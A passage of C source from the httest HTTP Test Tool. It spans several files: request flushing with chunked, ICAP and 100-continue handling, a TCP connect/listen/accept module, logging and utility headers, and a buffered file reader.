ptmp); } if((status = htt_run_line_flush(worker, &line)) != APR_SUCCESS) { return status; } if (strncasecmp(line.info, "NOCRLF:", 7) == 0) { line.len = apr_atoi64(&line.info[7]); if (nocrlf) { worker_log_buf(worker, LOG_INFO, '+', line.buf, line.len); } else { worker_log_buf(worker, LOG_INFO, '>', line.buf, line.len); } nocrlf = 1; } else if (strcasecmp(line.info, "NOCRLF") == 0) { line.len = strlen(line.buf); if (nocrlf) { worker_log_buf(worker, LOG_INFO, '+', line.buf, line.len); } else { worker_log_buf(worker, LOG_INFO, '>', line.buf, line.len); } nocrlf = 1; } else { line.len = strlen(line.buf); if (nocrlf) { worker_log_buf(worker, LOG_INFO, '+', line.buf, line.len); } else { worker_log_buf(worker, LOG_INFO, '>', line.buf, line.len); } nocrlf = 0; } if ((status = worker_socket_send(worker, line.buf, line.len)) != APR_SUCCESS) { goto error; } if((status = htt_run_line_sent(worker, &line)) != APR_SUCCESS) { return status; } worker->sent += line.len; if (strncasecmp(line.info, "NOCRLF", 6) != 0) { len = 2; if ((status = worker_socket_send(worker, "\r\n", len)) != APR_SUCCESS) { goto error; } worker->sent += len; } } error: return status; } /** * Flush a chunk part * * @param worker IN worker object * @param chunked IN chunk info to flush before data * @param from IN start cache line * @param to IN end cache line * @param ptmp IN temporary pool * * @param apr status */ apr_status_t worker_flush_chunk(worker_t *worker, char *chunked, int from, int to, apr_pool_t *ptmp) { apr_status_t status; int len; if (chunked) { worker_log_buf(worker, LOG_INFO, '>', chunked, strlen(chunked)); } if (chunked) { len = strlen(chunked); if ((status = worker_socket_send(worker, chunked, len)) != APR_SUCCESS) { return status; } worker->sent += len; } return worker_flush_part(worker, from, to, ptmp); } /** * Calculate content length * * @param worker IN worker object * @param start IN start index * @param len OUT content length * * @return apr status */ static apr_status_t worker_get_content_length(worker_t *worker, int start, apr_size_t *len) { apr_status_t status = APR_SUCCESS; int i = start; apr_table_entry_t *e = (apr_table_entry_t *) apr_table_elts(worker->cache)->elts; *len = 0; for (; i < apr_table_elts(worker->cache)->nelts; ++i) { apr_size_t tmp_len; if ((status = worker_get_line_length(worker, e[i], &tmp_len)) != APR_SUCCESS) { return status; } *len += tmp_len; } return status; } /** * Do automatic 100 continue * * @param worker IN worker object * @param body_start IN index of body start * @param ptmp IN temporary pool * * @return apr status */ static apr_status_t worker_do_auto_100_continue(worker_t *worker, int body_start, apr_pool_t *ptmp) { apr_status_t status = APR_SUCCESS; /* flush headers and empty line but not body */ if ((status = worker_flush_part(worker, 0, body_start, ptmp)) != APR_SUCCESS) { return status; } /* wait for a 100 continue response */ if ((status = command_EXPECT(NULL, worker, "headers \"HTTP/1.1 100 Continue\"", ptmp)) != APR_SUCCESS) { return status; } /* do skip call flush in command _WAIT */ worker->flags |= FLAGS_SKIP_FLUSH; if ((status = command_WAIT(NULL, worker, "", ptmp)) != APR_SUCCESS) { return status; } /* do not skip flush */ worker->flags &= ~FLAGS_SKIP_FLUSH; /* send body then */ if ((status = worker_flush_part(worker, body_start, apr_table_elts(worker->cache)->nelts, ptmp)) != APR_SUCCESS) { return status; } return status; } /** * flush data * * @param self IN thread data object * @param ptmp IN temporary pool * * @return an apr status */ apr_status_t worker_flush(worker_t * self, apr_pool_t *ptmp) { apr_size_t len; const char *hdr; int i = 0; int body_start = 0; int icap_body = 0; int icap_body_start = 0; int start = 0; char *chunked = NULL; int ct_len = 0; apr_status_t status = APR_SUCCESS; apr_table_entry_t *e = (apr_table_entry_t *) apr_table_elts(self->cache)->elts; /* test if we should skip it */ if (self->flags & FLAGS_SKIP_FLUSH) { return APR_SUCCESS; } if (!self->socket) { goto error; } /* hop over icap headers if there are any */ if (apr_table_get(self->cache, "Content-Length") && (hdr = apr_table_get(self->cache, "Encapsulated"))) { char *nv; char *last; char *copy = apr_pstrdup(self->pbody, hdr); /* start counting till last body of ICAP message */ i = 0; apr_strtok(copy, ":", &last); nv = apr_strtok(NULL, ",", &last); while (nv) { i = worker_hop_over_headers(self, i); nv = apr_strtok(NULL, ",", &last); } start = 1; } /* callculate body if Content-Length: AUTO */ if (apr_table_get(self->cache, "Content-Length")) { if (!start) { i = worker_hop_over_headers(self, i); } body_start = i; if ((status = worker_get_content_length(self, i, &len)) != APR_SUCCESS) { return status; } apr_table_set(self->cache, "Content-Length", apr_psprintf(self->pbody, "Content-Length: %"APR_SIZE_T_FMT, len)); ct_len = len; } /* callculate headers and optional body of ICAP message */ if ((hdr = apr_table_get(self->cache, "Encapsulated"))) { char *nv; char *last; char *res = NULL; char *copy = apr_pstrdup(self->pbody, hdr); /* restart counting */ i = 0; len = 0; apr_strtok(copy, ":", &last); nv = apr_strtok(NULL, ",", &last); while (nv) { char *var; char *val; var = apr_strtok(nv, "=", &val); apr_collapse_spaces(var, var); apr_collapse_spaces(val, val); if (strstr(var, "body")) { icap_body = 1; } if (val && strncmp(val, "AUTO", 4) == 0) { while (i < apr_table_elts(self->cache)->nelts && e[i].val[0]) { apr_size_t tmp_len; if ((status = worker_get_line_length(self, e[i], &tmp_len)) != APR_SUCCESS) { return status; } len += tmp_len; ++i; } /* count also the empty line */ len += 2; val = apr_itoa(self->pbody, len); ++i; } else { i = worker_hop_over_headers(self, i); } if (!res) { res = apr_pstrcat(self->pbody, var, "=", val, NULL); } else { res = apr_pstrcat(self->pbody, res, ", ", var, "=", val, NULL); } nv = apr_strtok(NULL, ",", &last); } apr_table_setn(self->cache, "Encapsulated", apr_psprintf(self->pbody, "Encapsulated: %s", res)); /* only chunk body automatic if Content-Length: AUTO */ if (icap_body && apr_table_get(self->cache, "Content-Length")) { icap_body_start = i; chunked = apr_psprintf(self->pbody, "%x\r\n", ct_len); } } else if (apr_table_get(self->cache, "Content-Length") && apr_table_get(self->cache, "100-Continue")) { /* do this only if Content-Length and 100-Continue is set */ status = worker_do_auto_100_continue(self, body_start, ptmp); goto error; } if (apr_table_get(self->cache, "Cookie")) { if (self->socket->cookie) { apr_table_set(self->cache, "Cookie", self->socket->cookie); } else { apr_table_unset(self->cache, "Cookie"); } } /* this is one chunk */ if (apr_table_get(self->cache, "CHUNKED")) { apr_table_unset(self->cache, "CHUNKED"); len = 0; for (; i < apr_table_elts(self->cache)->nelts; ++i) { /* do not forget the \r\n */ if (strncasecmp(e[i].key, "NOCRLF", 6) != 0) { len += 2; } if (strncasecmp(e[i].key, "NOCRLF:", 7) == 0) { len += apr_atoi64(&e[i].key[7]); } else { len += strlen(e[i].val); } } chunked = apr_psprintf(self->pbody, "\r\n%x\r\n", (unsigned int)len); } if (icap_body) { /* send all except the req/res body */ if ((status = worker_flush_part(self, 0, icap_body_start, ptmp)) != APR_SUCCESS) { goto error; } if ((status = worker_flush_chunk(self, chunked, icap_body_start, apr_table_elts(self->cache)->nelts, ptmp)) != APR_SUCCESS) { goto error; } if (chunked) { chunked = apr_psprintf(self->pbody, "\r\n0\r\n\r\n"); status = worker_flush_chunk(self, chunked, 0, 0, ptmp); } } else { status = worker_flush_chunk(self, chunked, 0, apr_table_elts(self->cache)->nelts, ptmp); } error: apr_pool_clear(self->pcache); self->cache = apr_table_make(self->pcache, 20); return status; } /** * write worker data to file with worker->name * * @param worker IN thread data object * * @return an apr status */ apr_status_t worker_to_file(worker_t * worker) { apr_status_t status; apr_file_t *fp; apr_table_entry_t *e; char *line; char *copy; int i; if ((status = apr_file_open(&fp, worker->name, APR_CREATE | APR_WRITE, APR_OS_DEFAULT, worker->pbody)) != APR_SUCCESS) { return status; } e = (apr_table_entry_t *) apr_table_elts(worker->lines)->elts; for (i = 0; i < apr_table_elts(worker->lines)->nelts; i++) { line = e[i].val; copy = worker_replace_vars(worker, line, NULL, worker->pbody); apr_file_printf(fp, "%s\n", ©[1]); } apr_file_close(fp); return APR_SUCCESS; } /** * Register transport to socket * * @param socket IN htt socket * @param transport IN transport object for read/write * @return APR_SUCCESS */ apr_status_t transport_register(socket_t *socket, transport_t *transport) { if (socket) { socket->transport = transport; } return APR_SUCCESS; } /** * Unregister transport from socket * * @param socket IN htt socket * @param transport IN transport object for read/write * @return APR_SUCCESS */ apr_status_t transport_unregister(socket_t *socket, transport_t *transport) { if (socket) { socket->transport = NULL; } return APR_SUCCESS; } /** * Get current transport from socket * * @param socket IN htt socket * @return transport */ transport_t *transport_get_current(socket_t *socket) { return socket->transport; } /** * builtin finally for cleanup stuff * @param worker IN thread object */ void worker_finally_cleanup(worker_t *worker) { sh_t *sh = module_get_config(worker->config, SH_CONFIG); if (sh && sh->tmpf) { const char *name; if (apr_file_name_get(&name, sh->tmpf) == APR_SUCCESS) { apr_file_close(sh->tmpf); apr_file_remove(name, sh->pool); module_set_config(worker->config, apr_pstrdup(sh->pool, SH_CONFIG), NULL); apr_pool_destroy(sh->pool); } } } APR_HOOK_STRUCT( APR_HOOK_LINK(line_get_length) APR_HOOK_LINK(line_flush) APR_HOOK_LINK(line_sent) APR_HOOK_LINK(client_port_args) APR_HOOK_LINK(pre_connect) APR_HOOK_LINK(connect) APR_HOOK_LINK(post_connect) APR_HOOK_LINK(accept) APR_HOOK_LINK(close) APR_HOOK_LINK(WAIT_begin) APR_HOOK_LINK(read_pre_headers) APR_HOOK_LINK(read_status_line) APR_HOOK_LINK(read_header) APR_HOOK_LINK(read_buf) APR_HOOK_LINK(WAIT_end) ) APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, line_get_length, (worker_t *worker, line_t *line), (worker, line), APR_SUCCESS); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, line_flush, (worker_t *worker, line_t *line), (worker, line), APR_SUCCESS); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, line_sent, (worker_t *worker, line_t *line), (worker, line), APR_SUCCESS); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, client_port_args, (worker_t *worker, char *portinfo, char **new_portinfo, char *rest_of_line), (worker, portinfo, new_portinfo, rest_of_line), APR_SUCCESS); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, pre_connect, (worker_t *worker), (worker), APR_SUCCESS); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, connect, (worker_t *worker), (worker), APR_SUCCESS); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, post_connect, (worker_t *worker), (worker), APR_SUCCESS); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, accept, (worker_t *worker, char *rest_of_line), (worker, rest_of_line), APR_SUCCESS); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, close, (worker_t *worker, char *info, char **new_info), (worker, info, new_info), APR_SUCCESS); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, WAIT_begin, (worker_t *worker), (worker), APR_SUCCESS); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, read_pre_headers, (worker_t *worker), (worker), APR_SUCCESS); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, read_status_line, (worker_t *worker, char *line), (worker, line), APR_SUCCESS); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, read_header, (worker_t *worker, char *line), (worker, line), APR_SUCCESS); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, read_buf, (worker_t *worker, char *buf, apr_size_t len), (worker, buf, len), APR_SUCCESS); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, WAIT_end, (worker_t *worker, apr_status_t status), (worker, status), APR_SUCCESS); httest-2.4.8/src/tcp_module.c0000664000175100017510000003413512205142236013056 00000000000000/** * Copyright 2010 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool tcp module */ /************************************************************************ * Includes ***********************************************************************/ #include "module.h" #include "tcp_module.h" /************************************************************************ * Definitions ***********************************************************************/ /************************************************************************ * Local ***********************************************************************/ /** * Get os socket descriptor * @param data IN void pointer to socket * @param desc OUT os socket descriptor * @return apr status */ static apr_status_t tcp_transport_os_desc_get(void *data, int *desc) { apr_socket_t *socket = data; if (!socket) { return APR_ENOSOCKET; } return apr_os_sock_get(desc, socket); } /** * Set timeout * @param data IN void pointer to socket * @param desc OUT os socket descriptor * @return apr status */ static apr_status_t tcp_transport_set_timeout(void *data, apr_interval_time_t t) { apr_socket_t *socket = data; if (!socket) { return APR_ENOSOCKET; } return apr_socket_timeout_set(socket, t); } /** * Set timeout * @param data IN void pointer to socket * @param desc OUT os socket descriptor * @return apr status */ static apr_status_t tcp_transport_get_timeout(void *data, apr_interval_time_t *t) { apr_socket_t *socket = data; if (!socket) { return APR_ENOSOCKET; } return apr_socket_timeout_get(socket, t); } /** * read from socket * @param data IN void pointer to socket * @param buf IN buffer * @param size INOUT buffer len * @return apr status */ static apr_status_t tcp_transport_read(void *data, char *buf, apr_size_t *size) { apr_socket_t *socket = data; if (!socket) { return APR_ENOSOCKET; } return apr_socket_recv(socket, buf, size); } /** * write to socket * @param data IN void pointer to socket * @param buf IN buffer * @param size INOUT buffer len * @return apr status */ static apr_status_t tcp_transport_write(void *data, const char *buf, apr_size_t size) { apr_socket_t *socket = data; apr_status_t status = APR_SUCCESS; apr_size_t total = size; apr_size_t count = 0; apr_size_t len; if (!socket) { return APR_ENOSOCKET; } while (total != count) { len = total - count; if ((status = apr_socket_send(socket, &buf[count], &len)) != APR_SUCCESS) { return status; } count += len; } return APR_SUCCESS; } /************************************************************************ * Hooks ************************************************************************/ /** * do ssl connect * @param worker IN * @return APR_SUCCESS or apr error */ static apr_status_t tcp_hook_connect(worker_t *worker) { transport_t *transport; transport = transport_new(worker->socket->socket, worker->pbody, tcp_transport_os_desc_get, tcp_transport_set_timeout, tcp_transport_get_timeout, tcp_transport_read, tcp_transport_write); transport_register(worker->socket, transport); worker_log(worker, LOG_DEBUG, "tcp connect socket: %"APR_UINT64_T_HEX_FMT" " "transport: %"APR_UINT64_T_HEX_FMT, worker->socket, transport); return APR_SUCCESS; } /** * do ssl accept handshake * @param worker IN * @return APR_SUCCESS or apr error */ static apr_status_t tcp_hook_accept(worker_t *worker, char *data) { transport_t *transport; transport = transport_new(worker->socket->socket, worker->pbody, tcp_transport_os_desc_get, tcp_transport_set_timeout, tcp_transport_get_timeout, tcp_transport_read, tcp_transport_write); transport_register(worker->socket, transport); worker_log(worker, LOG_DEBUG, "tcp accept socket: %"APR_UINT64_T_HEX_FMT" " "transport: %"APR_UINT64_T_HEX_FMT, worker->socket, transport); return APR_SUCCESS; } /************************************************************************ * Optional Functions ************************************************************************/ /** * Listen to a tcp socket * @param worker IN callee * @param address IN address to bind to * @param backlog IN backlog size * @return apr status */ apr_status_t tcp_listen(worker_t *worker, int backlog) { apr_status_t status; apr_sockaddr_t *local_addr; if (worker->listener) { worker_log(worker, LOG_ERR, "Server allready up"); return APR_EGENERAL; } if ((status = apr_sockaddr_info_get(&local_addr, worker->listener_addr, APR_UNSPEC, worker->listener_port, APR_IPV4_ADDR_OK, worker->pbody)) != APR_SUCCESS) { return status; } if ((status = apr_socket_create(&worker->listener, local_addr->family, SOCK_STREAM, APR_PROTO_TCP, worker->pbody)) != APR_SUCCESS) { worker->listener = NULL; return status; } status = apr_socket_opt_set(worker->listener, APR_SO_REUSEADDR, 1); if (status != APR_SUCCESS && status != APR_ENOTIMPL) { return status; } worker_log(worker, LOG_DEBUG, "--- bind"); if ((status = apr_socket_bind(worker->listener, local_addr)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not bind"); return status; } worker_log(worker, LOG_DEBUG, "--- listen"); if ((status = apr_socket_listen(worker->listener, backlog)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not listen"); return status; } return APR_SUCCESS; } /** * Listen to a tcp socket * @param worker IN callee * @param hostname IN host to connect * @param portname IN port and optional tags * @return apr status */ apr_status_t tcp_connect(worker_t *worker, char *hostname, char *portname) { apr_status_t status = APR_SUCCESS; apr_sockaddr_t *remote_addr; char *tag; int port; int family = APR_INET; if (!hostname) { worker_log(worker, LOG_ERR, "no host name specified"); return APR_EGENERAL; } if (!portname) { worker_log(worker, LOG_ERR, "no portname name specified"); return APR_EGENERAL; } /* remove tag from port */ portname = apr_strtok(portname, ":", &tag); if (!portname) { worker_log(worker, LOG_ERR, "no port specified"); return APR_EGENERAL; } port = apr_atoi64(portname); #if APR_HAVE_IPV6 /* hostname/address must be surrounded in square brackets */ if((hostname[0] == '[') && (hostname[strlen(hostname)-1] == ']')) { family = APR_INET6; hostname++; hostname[strlen(hostname)-1] = '\0'; } #endif if ((status = apr_socket_create(&worker->socket->socket, family, SOCK_STREAM, APR_PROTO_TCP, worker->pbody)) != APR_SUCCESS) { worker->socket->socket = NULL; return status; } if ((status = apr_socket_opt_set(worker->socket->socket, APR_TCP_NODELAY, 1)) != APR_SUCCESS) { return status; } if ((status = apr_socket_timeout_set(worker->socket->socket, worker->socktmo)) != APR_SUCCESS) { return status; } if ((status = apr_sockaddr_info_get(&remote_addr, hostname, AF_UNSPEC, port, APR_IPV4_ADDR_OK, worker->pbody)) != APR_SUCCESS) { return status; } if ((status = apr_socket_connect(worker->socket->socket, remote_addr)) != APR_SUCCESS) { return status; } if ((status = apr_socket_opt_set(worker->socket->socket, APR_SO_KEEPALIVE, 1)) != APR_SUCCESS) { return status; } return APR_SUCCESS; } /** * Accept a tcp socket * @param worker IN callee * @return apr status */ apr_status_t tcp_accept(worker_t *worker) { apr_status_t status = APR_SUCCESS; worker_log(worker, LOG_DEBUG, "--- accept"); if (!worker->listener) { worker_log(worker, LOG_ERR, "Server down"); return APR_EGENERAL; } if ((status = apr_socket_accept(&worker->socket->socket, worker->listener, worker->pbody)) != APR_SUCCESS) { worker->socket->socket = NULL; return status; } if ((status = apr_socket_opt_set(worker->socket->socket, APR_TCP_NODELAY, 1)) != APR_SUCCESS) { return status; } if ((status = apr_socket_timeout_set(worker->socket->socket, worker->socktmo)) != APR_SUCCESS) { return status; } return status; } /** * Accept a tcp socket * @param worker IN callee * @return apr status */ apr_status_t tcp_close(worker_t *worker) { apr_status_t status; if (!worker->socket || !worker->socket->socket) { return APR_ENOSOCKET; } if (worker->socket->socket_state == SOCKET_CLOSED) { return APR_SUCCESS; } status = apr_socket_close(worker->socket->socket); worker->socket->socket = NULL; return status; } /************************************************************************ * Commands ***********************************************************************/ /** * Setup a connection to host * @param worker IN callee * @param parent IN caller * @param ptmp IN temporary pool * @return an apr status */ static apr_status_t block_TCP_LISTEN(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { int backlog_size; char *scope_id; apr_status_t status = APR_SUCCESS; char *address = store_get_copy(worker->params, ptmp, "1"); char *backlog = store_get_copy(worker->params, ptmp, "2"); if (!address) { worker_log(worker, LOG_ERR, "no address specified"); status = APR_EINVAL; } backlog_size = backlog ? apr_atoi64(backlog) : LISTENBACKLOG_DEFAULT; if ((status = apr_parse_addr_port(&worker->listener_addr, &scope_id, &worker->listener_port, address, worker->pbody)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Can not parse '%s'", address); return status; } return tcp_listen(worker, backlog_size); } /** * Setup a connection to host * @param worker IN callee * @param parent IN caller * @param ptmp IN temporary pool * @return an apr status */ static apr_status_t block_TCP_CONNECT(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status; char *portname; char *hostname; if ((status = worker_flush(worker, ptmp)) != APR_SUCCESS) { return status; } if ((status = worker_test_unused(worker)) != APR_SUCCESS) { return status; } hostname = store_get_copy(worker->params, ptmp, "1"); portname = store_get_copy(worker->params, ptmp, "2"); worker_log(worker, LOG_DEBUG, "get socket \"%s:%s\"", hostname, portname); worker_get_socket(worker, hostname, portname); if (worker->socket->socket_state == SOCKET_CLOSED) { status = tcp_connect(worker, hostname, portname); if ((status = tcp_hook_connect(worker)) != APR_SUCCESS) { return status; } worker->socket->socket_state = SOCKET_CONNECTED; } worker_test_reset(worker); return status; } /** * Accept connection from remote host * @param worker IN callee * @param parent IN caller * @param ptmp IN temporary pool * @return an apr status */ static apr_status_t block_TCP_ACCEPT(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status; if ((status = worker_flush(worker, ptmp)) != APR_SUCCESS) { return status; } if ((status = worker_test_unused(worker)) != APR_SUCCESS) { return status; } worker_get_socket(worker, "Default", "0"); if (worker->socket->socket_state == SOCKET_CLOSED) { if ((status = tcp_accept(worker)) != APR_SUCCESS) { return status; } if ((status = tcp_hook_accept(worker, NULL)) != APR_SUCCESS) { return status; } worker->socket->socket_state = SOCKET_CONNECTED; } worker_test_reset(worker); return APR_SUCCESS; } /** * Accept connection from remote host * @param worker IN callee * @param parent IN caller * @param ptmp IN temporary pool * @return an apr status */ static apr_status_t block_TCP_CLOSE(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { return tcp_close(worker); } /************************************************************************ * Module ***********************************************************************/ apr_status_t tcp_module_init(global_t *global) { apr_status_t status; if ((status = module_command_new(global, "TCP", "_LISTEN", ":", "Listen for TCP connection.", block_TCP_LISTEN)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "TCP", "_CONNECT", " [:]", "Open connection to defined .\n" "If connection exist no connect will be performed\n" ": host name or IPv4/IPv6 address (IPv6 address must be surrounded\n" " in square brackets)\n" ": Additional tag info do support multiple connection to one target.", block_TCP_CONNECT)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "TCP", "_ACCEPT", "", "Accept a TCP connection.", block_TCP_ACCEPT)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "TCP", "_CLOSE", "", "Close a TCP connection.", block_TCP_CLOSE)) != APR_SUCCESS) { return status; } htt_hook_connect(tcp_hook_connect, NULL, NULL, 0); htt_hook_accept(tcp_hook_accept, NULL, NULL, 0); return APR_SUCCESS; } httest-2.4.8/src/appender_std.h0000664000175100017510000000173712203674076013414 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Interface of the HTTP Test Tool standard appender */ #ifndef HTTEST_APPENDER_STD_H #define HTTEST_APPENDER_STD_H #include "appender.h" #define APPENDER_STD_NONE 0x00 #define APPENDER_STD_THREAD_NO 0x01 #define APPENDER_STD_COLOR 0x02 appender_t *appender_std_new(apr_pool_t *pool, apr_file_t *out, int flags); #endif httest-2.4.8/src/util.h0000664000175100017510000000450512203674077011716 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Interface of the HTTP Test Tool util. */ #ifndef HTTEST_UTIL_H #define HTTEST_UTIL_H #include "store.h" #define swap16(x) \ ((((x) & 0x00ffU) << 8)| \ (((x) & 0xff00U) >> 8)) #define swap32(x) \ ((((x) & 0x000000ffUL) << 24)| \ (((x) & 0x0000ff00UL) << 8)| \ (((x) & 0x00ff0000UL) >> 8)| \ (((x) & 0xff000000UL) >> 24)) #define swap64(x) \ ((((x) & 0xff00000000000000ULL) >> 56)| \ (((x) & 0x00ff000000000000ULL) >> 40)| \ (((x) & 0x0000ff0000000000ULL) >> 24)| \ (((x) & 0x000000ff00000000ULL) >> 8)| \ (((x) & 0x00000000ff000000ULL) << 8)| \ (((x) & 0x0000000000ff0000ULL) << 24)| \ (((x) & 0x000000000000ff00ULL) << 40)| \ (((x) & 0x00000000000000ffULL) << 56)) #if APR_IS_BIGENDIAN # define ntlm_hton16(x) swap16(x) # define ntlm_hton32(x) swap32(x) # define ntlm_hton64(x) swap64(x) # define ntlm_ntoh16(x) swap16(x) # define ntlm_ntoh32(x) swap32(x) # define ntlm_ntoh64(x) swap64(x) #else # define ntlm_hton16(x) (x) # define ntlm_hton32(x) (x) # define ntlm_hton64(x) (x) # define ntlm_ntoh16(x) (x) # define ntlm_ntoh32(x) (x) # define ntlm_ntoh64(x) (x) #endif char *my_unescape(char *string, char **last); apr_table_t *my_table_deep_copy(apr_pool_t *p, apr_table_t *orig); apr_table_t *my_table_swallow_copy(apr_pool_t *p, apr_table_t *orig); char *my_status_str(apr_pool_t * p, apr_status_t rc); void copyright(const char *progname); const char *filename(apr_pool_t *pool, const char *path); char x2c(const char *what); void my_get_args(char *line, store_t *params, apr_pool_t *pool); apr_status_t my_tokenize_to_argv(const char *arg_str, char ***argv_out, apr_pool_t *pool, int with_quotes); #endif httest-2.4.8/src/file.c0000664000175100017510000001352512203674076011654 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool file reader. */ /************************************************************************ * Includes ***********************************************************************/ #ifdef HAVE_CONFIG_H #include #endif #include #include #include #include #include "defines.h" #include "file.h" /************************************************************************ * Definitions ***********************************************************************/ struct bufreader_s { apr_status_t status; apr_pool_t *pool; apr_file_t *fp; apr_size_t i; apr_size_t len; apr_bucket_alloc_t *alloc; apr_bucket_brigade *line; char buf[BLOCK_MAX + 1]; }; /************************************************************************ * Forward declaration ***********************************************************************/ static apr_status_t bufreader_fill(bufreader_t * self); /************************************************************************ * Implementation ***********************************************************************/ /** * New bufreader object * * @param self OUT bufreader object * @param fp IN an open file to read * @param p IN pool * * @return an apr status */ apr_status_t bufreader_new(bufreader_t ** self, apr_file_t * fp, apr_pool_t * p) { apr_status_t status; apr_allocator_t *allocator; *self = apr_pcalloc(p, sizeof(bufreader_t)); (*self)->fp = fp; (*self)->alloc = apr_bucket_alloc_create(p); (*self)->line = apr_brigade_create(p, (*self)->alloc); allocator = apr_pool_allocator_get(p); apr_allocator_max_free_set(allocator, 1024*1024); (*self)->pool = p; (*self)->status = APR_SUCCESS; apr_pool_create(&(*self)->pool, p); if ((status = bufreader_fill((*self))) != APR_SUCCESS) { return status; } return APR_SUCCESS; } /** * read line from file * * @param self IN bufreader object * @param line OUT read line * * @return an apr status */ apr_status_t bufreader_read_line(bufreader_t * self, char **line) { char c; apr_size_t i; apr_status_t status = APR_SUCCESS; int leave_loop = 0; *line = NULL; i = 0; c = 0; while (leave_loop == 0 && (status = apr_file_eof(self->fp)) != APR_EOF) { if (self->i >= self->len) { if ((status = bufreader_fill(self)) != APR_SUCCESS) { break; } } if (self->i < self->len) { c = self->buf[self->i]; if (c == '\r' || c == '\n') { leave_loop=1; if (c == '\r' && self->i+1 < self->len && self->buf[self->i+1] == '\n') { self->i++; } c='\0'; } apr_brigade_putc(self->line, NULL, NULL, c); self->i++; i++; } } apr_brigade_pflatten(self->line, line, &i, self->pool); apr_brigade_cleanup(self->line); (*line)[i] = 0; while (**line == ' ' || **line == '\t') { ++*line; } return status; } /** * Read specifed block * * @param self IN bufreader object * @param block IN a block to fill up * @param length INOUT length of block, on return length of filled bytes * * @return APR_SUCCESS else APR error */ apr_status_t bufreader_read_block(bufreader_t * self, char *block, apr_size_t *length) { apr_status_t status; int i; int len = *length; status = APR_SUCCESS; (*length) = 0; i = 0; while (i < len) { if (self->i >= self->len) { if ((status = bufreader_fill(self)) != APR_SUCCESS) { break; } } block[i] = self->buf[self->i]; ++i; ++self->i; } /* on eof we like to get the bytes recvieved so far */ while (i < len && self->i < self->len) { block[i] = self->buf[self->i]; ++i; ++self->i; } *length = i; return status; } /** * eof reader * * @param self IN bufreader object * @param buf OUT data * @param len OUT data len * * @return APR_SUCCESS else an APR error */ apr_status_t bufreader_read_eof(bufreader_t * self, char **buf, apr_size_t *len) { char *read; apr_size_t block; apr_bucket *b; apr_bucket_brigade *bb; apr_status_t status = APR_SUCCESS; *buf = NULL; (*len) = 0; bb = apr_brigade_create(self->pool, self->alloc); read = apr_pcalloc(self->pool, BLOCK_MAX); do { block = BLOCK_MAX; status = bufreader_read_block(self, read, &block); if (status == APR_SUCCESS || status == APR_EOF) { b = apr_bucket_pool_create(read, block, self->pool, self->alloc); APR_BRIGADE_INSERT_TAIL(bb, b); read = apr_pcalloc(self->pool, BLOCK_MAX); } } while (status == APR_SUCCESS); apr_brigade_pflatten(bb, buf, len, self->pool); apr_brigade_destroy(bb); (*buf)[*len] = 0; if (status == APR_SUCCESS || status == APR_EOF) { return APR_SUCCESS; } else { return status; } } /** * Fill up buffer with data from 